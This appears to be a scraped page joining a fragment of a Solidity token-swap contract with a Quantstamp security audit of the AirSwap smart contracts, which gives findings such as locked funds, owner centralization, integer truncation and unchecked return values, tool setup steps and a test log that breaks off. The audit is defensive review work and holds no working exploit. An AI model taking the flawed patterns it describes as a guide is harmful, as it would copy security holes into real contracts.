swap NFTs (ERC721) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerID uint256 Token ID transferred from the signer * @param senderToken address ERC721 token transferred from the sender * @param senderID uint256 Token ID transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function swapNFTs( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerID, address senderToken, uint256 senderID, uint8 v, bytes32 r, bytes32 s ) public override { _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerID, senderToken, senderID, v, r, s ); // Transfer token from sender to signer IERC721(senderToken).transferFrom(msg.sender, signerWallet, senderID); // Transfer token from signer to sender IERC721(signerToken).transferFrom(signerWallet, msg.sender, signerID); emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerID, 0, msg.sender, senderToken, senderID ); } /** * @notice Set the fee * @param _protocolFee uint256 Value of the fee in basis points */ function setProtocolFee(uint256 _protocolFee) external onlyOwner { // Ensure the fee is less than divisor require(_protocolFee < FEE_DIVISOR, "INVALID_FEE"); protocolFee = _protocolFee; emit SetProtocolFee(_protocolFee); } /** * @notice Set the light fee * @param _protocolFeeLight uint256 Value of the fee in basis points */ function setProtocolFeeLight(uint256 _protocolFeeLight) external onlyOwner { // Ensure the fee is less than divisor require(_protocolFeeLight < FEE_DIVISOR, "INVALID_FEE_LIGHT"); protocolFeeLight = _protocolFeeLight; emit SetProtocolFeeLight(_protocolFeeLight); } /** * @notice Set the fee wallet * @param _protocolFeeWallet address Wallet to transfer fee to */ function setProtocolFeeWallet(address _protocolFeeWallet) external onlyOwner { // Ensure the new fee wallet is not null require(_protocolFeeWallet != address(0), "INVALID_FEE_WALLET"); protocolFeeWallet = _protocolFeeWallet; emit SetProtocolFeeWallet(_protocolFeeWallet); } /** * @notice Set scale * @dev Only owner * @param _rebateScale uint256 */ function setRebateScale(uint256 _rebateScale) external onlyOwner { require(_rebateScale <= MAX_SCALE, "SCALE_TOO_HIGH"); rebateScale = _rebateScale; emit SetRebateScale(_rebateScale); } /** * @notice Set max * @dev Only owner * @param _rebateMax uint256 */ function setRebateMax(uint256 _rebateMax) external onlyOwner { require(_rebateMax <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); rebateMax = _rebateMax; emit SetRebateMax(_rebateMax); } /** * @notice Set the staking token * @param newStakingToken address Token to check balances on */ function setStakingToken(address newStakingToken) external onlyOwner { // Ensure the new staking token is not null require(newStakingToken != address(0), "INVALID_FEE_WALLET"); stakingToken = newStakingToken; emit SetStakingToken(newStakingToken); } /** * @notice Authorize a signer * @param signer address Wallet of the signer to authorize * @dev Emits an Authorize event */ function authorize(address signer) external override { require(signer != address(0), "SIGNER_INVALID"); authorized[msg.sender] = signer; emit Authorize(signer, msg.sender); } /** * @notice Revoke the signer * @dev Emits a Revoke event */ function revoke() external override { address tmp = authorized[msg.sender]; delete authorized[msg.sender]; emit Revoke(tmp, msg.sender); } /** * @notice Cancel one or more nonces * @dev Cancelled nonces are marked as used * @dev Emits a Cancel event * @dev Out of gas may occur in arrays of length > 400 * @param nonces uint256[] List of nonces to cancel */ function cancel(uint256[] calldata nonces) external override { for (uint256 i = 0; i < nonces.length; i++) { uint256 nonce = nonces[i]; if (_markNonceAsUsed(msg.sender, nonce)) { emit Cancel(nonce, msg.sender); } } } /** * @notice Validates Swap Order for any potential errors * @param senderWallet address Wallet that would send the order * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature * @return tuple of error count and bytes32[] memory array of error messages */ function check( address senderWallet, uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public view returns (uint256, bytes32[] memory) { bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT); Order memory order; uint256 errCount; order.nonce = nonce; order.expiry = expiry; order.signerWallet = signerWallet; order.signerToken = signerToken; order.signerAmount = signerAmount; order.senderToken = senderToken; order.senderAmount = senderAmount; order.v = v; order.r = r; order.s = s; order.senderWallet = senderWallet; bytes32 hashed = _getOrderHash( order.nonce, order.expiry, order.signerWallet, order.signerToken, order.signerAmount, order.senderWallet, order.senderToken, order.senderAmount ); address signatory = _getSignatory(hashed, order.v, order.r, order.s); if (signatory == address(0)) { errors[errCount] = "SIGNATURE_INVALID"; errCount++; } if (order.expiry < block.timestamp) { errors[errCount] = "EXPIRY_PASSED"; errCount++; } if ( order.signerWallet != signatory && authorized[order.signerWallet] != signatory ) { errors[errCount] = "UNAUTHORIZED"; errCount++; } else { if (nonceUsed(signatory, order.nonce)) { errors[errCount] = "NONCE_ALREADY_USED"; errCount++; } } uint256 signerBalance = IERC20(order.signerToken).balanceOf( order.signerWallet ); uint256 signerAllowance = IERC20(order.signerToken).allowance( order.signerWallet, address(this) ); uint256 feeAmount = (order.signerAmount * protocolFee) / FEE_DIVISOR; if (signerAllowance < order.signerAmount + feeAmount) { errors[errCount] = "SIGNER_ALLOWANCE_LOW"; errCount++; } if (signerBalance < order.signerAmount + feeAmount) { errors[errCount] = "SIGNER_BALANCE_LOW"; errCount++; } return (errCount, errors); } /** * @notice Calculate output amount for an input score * @param stakingBalance uint256 * @param feeAmount uint256 */ function calculateDiscount(uint256 stakingBalance, uint256 feeAmount) public view returns (uint256) { uint256 divisor = (uint256(10)**rebateScale) + stakingBalance; return (rebateMax * stakingBalance * feeAmount) / divisor / 100; } /** * @notice Calculates and refers fee amount * @param wallet address * @param amount uint256 */ function calculateProtocolFee(address wallet, uint256 amount) public view override returns (uint256) { // Transfer fee from signer to feeWallet uint256 feeAmount = (amount * protocolFee) / FEE_DIVISOR; if (feeAmount > 0) { uint256 discountAmount = calculateDiscount( IERC20(stakingToken).balanceOf(wallet), feeAmount ); return feeAmount - discountAmount; } return feeAmount; } /** * @notice Returns true if the nonce has been used * @param signer address Address of the signer * @param nonce uint256 Nonce being checked */ function nonceUsed(address signer, uint256 nonce) public view override returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; return (_nonceGroups[signer][groupKey] >> indexInGroup) & 1 == 1; } /** * @notice Returns the current chainId using the chainid opcode * @return id uint256 The chain id */ function getChainId() public view returns (uint256 id) { // no-inline-assembly assembly { id := chainid() } } /** * @notice Marks a nonce as used for the given signer * @param signer address Address of the signer for which to mark the nonce as used * @param nonce uint256 Nonce to be marked as used * @return bool True if the nonce was not marked as used already */ function _markNonceAsUsed(address signer, uint256 nonce) internal returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; uint256 group = _nonceGroups[signer][groupKey]; // If it is already used, return false if ((group >> indexInGroup) & 1 == 1) { return false; } _nonceGroups[signer][groupKey] = group | (uint256(1) << indexInGroup); return true; } /** * @notice Checks Order Expiry, Nonce, Signature * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function _checkValidOrder( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) internal { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); // Ensure the expiry is not passed require(expiry > block.timestamp, "EXPIRY_PASSED"); bytes32 hashed = _getOrderHash( nonce, expiry, signerWallet, signerToken, signerAmount, msg.sender, senderToken, senderAmount ); // Recover the signatory from the hash and signature address signatory = _getSignatory(hashed, v, r, s); // Ensure the signatory is not null require(signatory != address(0), "SIGNATURE_INVALID"); // Ensure the nonce is not yet used and if not mark it used require(_markNonceAsUsed(signatory, nonce), "NONCE_ALREADY_USED"); // Ensure the signatory is authorized by the signer wallet if (signerWallet != signatory) { require(authorized[signerWallet] == signatory, "UNAUTHORIZED"); } } /** * @notice Hash order parameters * @param nonce uint256 * @param expiry uint256 * @param signerWallet address * @param signerToken address * @param signerAmount uint256 * @param senderToken address * @param senderAmount uint256 * @return bytes32 */ function _getOrderHash( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderWallet, address senderToken, uint256 senderAmount ) internal view returns (bytes32) { return keccak256( abi.encode( ORDER_TYPEHASH, nonce, expiry, signerWallet, signerToken, signerAmount, protocolFee, senderWallet, senderToken, senderAmount ) ); } /** * @notice Recover the signatory from a signature * @param hash bytes32 * @param v uint8 * @param r bytes32 * @param s bytes32 */ function _getSignatory( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal view returns (address) { return ecrecover( keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s ); } /** * @notice Calculates and transfers protocol fee and rebate * @param sourceToken address * @param sourceWallet address * @param amount uint256 */ function _transferProtocolFee( address sourceToken, address sourceWallet, uint256 amount ) internal { // Transfer fee from signer to feeWallet uint256 feeAmount = (amount * protocolFee) / FEE_DIVISOR; if (feeAmount > 0) { uint256 discountAmount = calculateDiscount( IERC20(stakingToken).balanceOf(msg.sender), feeAmount ); if (discountAmount > 0) { // Transfer fee from signer to sender IERC20(sourceToken).safeTransferFrom( sourceWallet, msg.sender, discountAmount ); // Transfer fee from signer to feeWallet IERC20(sourceToken).safeTransferFrom( sourceWallet, protocolFeeWallet, feeAmount - discountAmount ); } else { IERC20(sourceToken).safeTransferFrom( sourceWallet, protocolFeeWallet, feeAmount ); } } } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling 